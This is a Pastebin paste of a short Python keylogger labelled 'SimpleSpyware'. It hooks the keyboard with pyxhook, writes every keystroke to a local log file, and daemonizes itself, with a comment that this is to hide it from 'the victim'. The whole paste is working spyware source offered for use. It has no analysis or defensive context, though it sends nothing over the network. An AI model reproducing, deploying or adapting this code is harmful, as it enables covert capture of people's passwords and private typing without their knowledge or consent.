Advertisement
FlyFar

keylogger.py

Oct 19th, 2023
867
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.54 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. """ Implementation of simple keylogger in Python.
  4. """
  5.  
  6. import daemon
  7. import logging
  8. import pyxhook
  9.  
  10.  
  11. class Keylogger:
  12.     """ This class represents the code injecting malware. """
  13.  
  14.     def __init__(self, name):
  15.         self._name = name
  16.  
  17.     @property
  18.     def name(self):
  19.         """ Name of the malware. """
  20.         return self._name
  21.  
  22.     @name.setter
  23.     def name(self, new_name):
  24.         self._name = new_name
  25.  
  26.     def start_logging(self):
  27.         """ Log every keystroke of the user into log file. """
  28.         # Crete hook manager.
  29.         hook_manager = pyxhook.HookManager()
  30.         # Assign callback for handling key strokes.
  31.         hook_manager.KeyDown = self._keydown_callback
  32.         # Hook the keyboard and start logging.
  33.         hook_manager.HookKeyboard()
  34.         hook_manager.start()
  35.  
  36.     def _keydown_callback(self, key):
  37.         """ This function is handler of key stroke event. """
  38.         logging.debug(chr(key.Ascii))
  39.  
  40.  
  41. if __name__ == '__main__':
  42.     # Setup logger.
  43.     logging.basicConfig(
  44.         level=logging.DEBUG,
  45.         filename='activity.log',
  46.         format='Key: %(message)s',
  47.     )
  48.     # Get file handler. We need to pass it to our daemon.
  49.     handler = logging.getLogger().handlers[0].stream
  50.  
  51.     # Daemonize the process to hide it from the victim.
  52.     with daemon.DaemonContext(files_preserve=[handler]):
  53.         # Create keylogger.
  54.         keylogger = Keylogger('SimpleSpyware')
  55.         # Start logging activity of the user.
  56.         keylogger.start_logging()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement